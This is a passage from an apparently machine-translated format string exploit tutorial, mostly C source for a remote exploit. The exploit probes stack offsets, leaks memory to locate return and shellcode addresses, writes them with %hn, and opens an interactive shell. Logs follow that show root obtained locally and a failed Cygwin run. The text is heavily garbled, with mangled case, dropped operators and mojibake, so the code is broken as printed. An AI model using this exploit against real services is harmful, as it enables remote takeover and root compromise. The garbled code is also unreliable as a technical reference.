CHAR TMP1 [128], TMP2 [128]; For (j = 0; j <4; j ) { IF (j == 0) { STRCPY (TMP1, "AAAAA %%% D $ X"); STRCPY (TMP2, "AAAA41414141"); } IF (j == 1) { STRCPY (TMP1, "AAAAAAAAAA %%% D $ X"); STRCPY (TMP2, "AAAAA41414141"); } IF (j == 2) { STRCPY (TMP1, "AAAAAAAAAAAA %%% D $ X"); STRCPY (TMP2, "AAAAAAA41414141"); } IF (j == 3) { STRCPY (TMP1, "AAAAAAAAAAAAA %%% D $ X"); STRCPY (TMP2, "AAAAAAAA41414141"); } For (i = 1; i Snprintf (FMT, SIZEOF (FMT), TMP1, I); Write (SOCK, FMT, STRLEN (FMT)); MEMSET (BUF, 0, SIZEOF (BUF)); Sleep (1); IF ((Len = Read (Sock, BUF, SIZEOF (BUF))) <0) { FPrintf (stderr, "error while looking for the offset (% d) / n", len) Close (SOCK); EXIT (exit_failure); } IF (debug) FPRINTF (stderr, "Testing offset =% D fmt = [% s] buf = [% s] len =% d / n", I, FMT, BUF, LEN; IF (! strcmp (buf, tmp2)) { OFFSET = I; * alinged = j; Goto Out; } } // end for i } // end for j OUT: Return offset; } INT main (int Argc, char ** argv) { Char * ip = "127.0.0.1", * PTR; Struct SockAddr_in SCK; U_INT READ_AT, ADDR_STACK = (U_INT) 0xBffe001; / * Default Bottom * / U_INT Addr_Shellcode = -1, addr_buffer = -1, addr_ret = -1; CHAR BUF [1024], FMT [128], C; INT port = 12345, offset = -1; Int SD, LEN, I; Int aligned; INT formatstring_counts = 0; u_int formatstring1 = 0, formatstring2 = 0; INT USE_FORMAT = 0; INT LIKE_PRINTF = 0; While (C = Getopt (Argc, Argv, "DVI: P: A: o:"))! = -1) { Switch (c) { Case 'I': IP = OPTARG; Break; Case 'P': Port = atoi (OPTARG); Break; Case 'a': Addr_stack = Strtoul (Optarg, NULL, 16); Break; Case 'o': OFFSET = ATOI (OPTARG); Break; Case 'V': Verbose = 1; Break; Case 'd': Debug = 1; Break; DEFAULT: FPRINTF (stderr, "unknwon option% C (% D) / N", C, C); EXIT (exit_failure); } } / * init the sockaddr_in * / FPRINTF (stderr, "using ip% s / n", IP); Sck.sin_family = pf_inet; Sck.sin_addr.s_addr = resolve (ip); Sck.sin_port = HTONS (port); / * Open the socket * / IF (! (SD = Socket (PF_INET, SOCK_STREAM, 0))) { Perror ("socket ()"); exit_failure; } / * Connect to The Remote Server * / IF (Connect (SD, STRUCKADDR *) & SCK, SIZEOF (SCK)) <0) { "" Connect () "); EXIT (exit_failure); } FPrintf (stderr, "consNected to% s / n", IP); IF (debug) SLEEP (10); / * Send login * / MEMSET (BUF, 0x0, SIZEOF (BUF)); Len = Read (SD, BUF, SIZEOF (BUF)); IF (Strncmp (BUF, "Login", 5)) { FPRINTF (stderr, "error: no login asseked [% s] (% d) / n", buf, len) Close (SD); EXIT (exit_failure); } STRCPY (BUF, "Alert7"); Len = Write (SD, BUF, STRLEN (BUF)); IF (Verbose) fprintf (stderr, "login Sent [% s] (% D) / N", BUF, LEN) Sleep (3); / * Passwd: shellcode in the buffer and in the remote stack * / Len = Read (SD, BUF, SIZEOF (BUF)); IF (Strncmp (BUF, "Password", 8)) { FPRINTF (stderr, "error: no password asseked [% s] (% d) / n", buf, len) Close (SD); EXIT (exit_failure); } Write (SD, "Hi", 2); IF (Verbose) FPRINTF (stderr, "passwd (hi) Sent (% D) / N", LEN); Sleep (3); / ************************************************** ********************* / / * Find offset and aligned, in general, this can be manually judged, but the program is judged * Nor * / IF (offset == -1) { IF ((Offset = Get_offset) == -1) { FPrintf (stderr, "error: can't find offset / n"); FPrintf (stderr, "please, use the -o arg to specify it./n); Close (SD); EXIT (exit_failure); } FPRINTF (stderr, "/ n [Found Offset =% D Aligned% D] / n / n", offset, aligned) } / ************************************************** ********************* / / * Look for the address of the shellcode in the remote stack * / MEMSET (FMT, 0x0, SIZEOF (FMT)); Read_at = addr_stack; get_addr_as_char (Read_AT, FMT); Snprintf (FMT 4, SIZEOF (FMT) -4, "%%% D $ S", OFFSET; / * * Construct the read_at% n $ S, prepare the contents of reading the read_at memory address * / Write (SD, FMT, Strlen (FMT)); Sleep (1); While ((Len = Read (SD, BUF, SIZEOF (BUF))> = 0 && (addr_shellcode == -1 || addr_buffer == -1 || Addr_ret == -1)) { IF (len == 0) { Printf ("Remote Machine Close Connection !! / NADDR_STACK TOO SMALL, You CAN Use -a Addr Adjust IT / N"); exit (0); } IF (debug) FPrintf (stderr, "read at 0x% x (% d) / n", read_at, len) / ************************************************** ********************* / / / The following lookup Format String address / * The input buffer * / IF (addr_buffer == -1 && (PTR = strstr (buf, fmt))) { FormatString_counts ; Addr_buffer = read_at (PTR-BUF) - 4; / * Addr_buffer is the address of format string * / FPRINTF (stderr, "[buffer addr is: 0x% x (% d)] / n", addr_buffer, len); FPRINTF (stderr, "buf = (% d) / n", len); For (i = 0; i FPRINTF (stderr, "%. 2x", (int) (buf [i] & 0xff); IF (I && I% 20 == 0) fprintf (stderr, "/ n"); } FPRINTF (stderr, "/ n / n"); IF (FormatString_counts == 1) { FormatString1 = addr_buffer; Addr_buffer = -1; } IF (read_at> 0xBFFFFFE0) { FormatString1 = addr_buffer; LIKE_PRINTF = 1; Read_at = formatstring1 -4096; // only find a Format string, indicating similar printf (buf); } IF (FormatString_counts == 2) { // Similar Sprintf (buf, buf1); FormatString2 = addr_buffer; Read_at = (FormatString1> FormatString2)? (FormatString2 -4096) :( FormatString1 -4096); / * I want to find SnPrintf activity record from the READ_AT address, may be too small 4096, but most of it is still enough * /} } / ************************************************** ********************* / / ************************************************** ********************* / / * Find the activity record of Snprintf (TMP, SIZEOF (TMP) -1, BUF) * FormatString1 and 2 are the address of TMP, BUF * XX XX FF BF XX XX 04 08 FORMATSTRING1 XX XX XX XX FormatString2 * Or * XX XX FF BF XX XX 04 08 FORMATSTRING2 XX XX XX XX FormatString1 * / IF (addr_buffer! = -1) { i = 4; While (i IF (! like_printf) {// Like Sprintf Have Two Format String IF (BUF [i] == (char) 0xff && buf [i 1] == (char) 0xBF && BUF [i 4] == (char) 0x04 && buf [i 5] == (char) 0x08 && ((* (int *) & buf [i 6] == formatString1) || (* (int *) & buf [i 6] == formatstring2)) ) { IF (* (int *) & buf [i 6] == formatstring1) USE_FORMAT = 2; Else USE_FORMAT = 1; AddR_ret = read_at i - 2 4 - 4; Printf ("AddR_Ret% P / N", AddR_ret); IF ((AddR_Ret & 0xFF) * & 0xFF) * ((AddR_Ret >> 16) & 0xFF) * ((AddR_Ret >> 24) & 0xFF) == 0) AddR_ret = -1; Else Fprintf (stderr, "[RET Addr IS: 0x% x (% D)] / n", addr_ret, len) } // end if i ; } // End if Like_Printf Else { // Like Printf Have ONLY FORMAT STRING IF (BUF [i] == (char) 0xff && buf [i 1] == (char) 0xBF && BUF [i 4] == (char) 0x04 && buf [i 5] == (char) 0x08 && (* (int *) & buf [i 6] == formatstring1) ) { USE_FORMAT = 1; AddR_ret = read_at i - 2 4 - 4; Printf ("addr_ret% p / n", addr_ret); IF ((AddR_Ret & 0xFF) * & 0xFF) * ((AddR_Ret >> 16) & 0xFF) * ((AddR_Ret >> 24) & 0xFF) == 0) AddR_ret = -1; Else Fprintf (stderr, "[RET Addr IS: 0x% x (% D)] / n", addr_ret, len) } // end if i ; } // END ELSE LIKE_PRINTF } // End while } // end if / ************************************************** ********************* / / ************************************************** ********************* / IF (addr_ret! = -1) { IF (use_format == 1) Addr_Shellcode = FormatString1 8 Aligned 20 8; IF (use_format == 2) Addr_Shellcode = FormatString2 8 Aligned 20 8; } / ************************************************** ********************* / READ_AT = (LEN-4 1); IF (len == sizeof (buf)) { FPRINTF (stderr, "warning: this has not been tsted !!! / n"); FPRINTF (stderr, "len =% d / nread_at = 0x% x", len, read_at); Read_at- = Strlen (shellcode); } GET_ADDR_AS_CHAR (READ_AT, FMT); Write (SD, FMT, Strlen (FMT)); } // End while FPrintf (stderr, "/ naddr-Ret% p addr_shellcode% p / n", addr_ret, addr_shellcode; / * Send the format string * / FPRINTF (stderr, "/ nbuilding format string and send shellcode / nwaiting for get a shell if succeed ... / n / n"); MEMSET (BUF, 0, SIZEOF (BUF)); Build_hn (buf, addr_ret, addr_shellcode, offset, 0, aligned); Write (SD, BUF, STRLEN (BUF)); Sleep (1); Interact (SD); Close (SD); Return 0; } Experiment 1: Local redhat [alert7 @ redhat72 format] $ gcc -o e e.c [alert7 @ redhat72 format] $ ./e Using IP 127.0.0.1 Connected to 127.0.0.1 [Found Offset = 6 Aligned 0] [buffer addr is: 0xBfffff070 (12)] BUF = (12) 70 F0 FF BF 70 F0 FF BF 25 36 24 73 [buffer addr is: 0xBffff470 (8)] BUF = (8) 70 F4 FF BF 70 F4 FF BF AddR_ret 0xBffFFF04C [RET Addr IS: 0xBffff04c (34)] AddR-RET 0xBFFF04C Addr_Shellcode 0xBffff094 Building format string and send shellcode Waiting for Get a shell if succeed ... Low 61588; Two 8; start 65536; base 0; offset 6; high 49151 4C F0 FF BF 4e F0 F0 FF BF 25 2E 31 32 37 31 31 36 78 25 36 24 6e 25 2E 35 33 30 39 39 78 25 37 24 68 6E Linux redhat72 2.4.7-10 # 1 thu Sep 6 17:27:27 Edt 2001 i686 unknown UID = 0 (root) GID = 100 (users) Experiment 2: Remote Cygwin compiled $ ./e -i 192.168.168.200 Using IP 192.168.168.200 Connected to 192.168.168.200 [Found Offset = 6 Aligned 0] [buffer addr is: 0xBfffff070 (12)] BUF = (12) 70 F0 FF BF 70 F0 FF BF 25 36 24 73 [buffer addr is: 0xBffff470 (8)] BUF = (8) 70 F4 FF BF 70 F4 FF BF AddR_ret 0xBffFFF04C [RET Addr IS: 0xBffff04c (34)] AddR-RET 0xBFFF04C Addr_Shellcode 0xBffff094 Building format string and send shellcode Waiting for Get a shell if succeed ... Low 61588; Two 8; start 65536; base 0; offset 6; high 49151 4C F0 FF BF 4e F0 FF BF 25 2E 2D 33 39 35 36 78 25 36 24 6e 25 2E 2D 31 32 34 33 37 78 25 37 24 68 6E SZTCWW @ SZTCWW1 ~ $ Is not successful FAINT ~~ Why is the program compiled under Cygwin not succeeded? This question made me depressed, and the results were discovered that they were only different. When building format string, that is, in the function build_hn () I = Snprintf (buf sz alinged, max_fmt_length, "%%.% HDX %%% D $ n %%.% HDX %%% D $ HN", Low - Two Start - Base, OFFSET, HIGH - Low START, OFFSET 1); Snprintf () of each parameter is the same Format string generated in the general Linux redhat is 25 2E 31 32 37 31 31 36 78 25 36 24 6E25 2E 35 33 30 39 39 78 25 37 24 68 6E Format string generated under Cygwin is 25 2e 2D 33 39 35 36 78 25 36 24 6e 25 2E 2D 31 32 34 33 37 78 25 37 24 68 6E Now the only explanation is the difference between the * Printf and Linux Redhat implementations under CygWin. The result produced is different. Why did Snprintf compiled under Cygwin I have drawn such a result. I haven't found the reason. Go back and get rid of it. So it is recommended to take Cygwin to do an experimental environment when writing Format String Exploit. Otherwise, it will be as depressed as me. -------------------------------------------------- ---------------------- - [BIBLIOGRAPHY] - 1. More info on format bugs par P. "kalou" bouchareine ( http://www.hert.org/papers/format.html) 2. Format Bugs: What are the, where did the come from, ... how to Explloit Them Par Lamagra (lamagra@digibel.org 3. 蓈 Iter Les Failles de S 闰 URIT? D 镳 LE D Off ELOPPEMENT D 'UNE Application - 4: Les Cha declared ES DE FORMAT PAR F. RAYNAL, C. Grenier, C. Blass ( Http://minimum.inria.fr/~raynal/index.php3?page=121 OU http://www.linuxfocus.org/francais/july2001/Article191.shtml) 4. Exploiting The Format String Vulnerabilities Par Scut (Team Teso) ( http://www.team-teso.net/articles/fectstring) 5. Fmtbuilder-HOWTO PAR F. RAYNAL ET S. Dralet ( http://minimum.inria.fr/~raynal/index.php3?page=501) -------------------------------------------------- ---------------------- FR 閐閞 IC RAYNAL - --- the end -----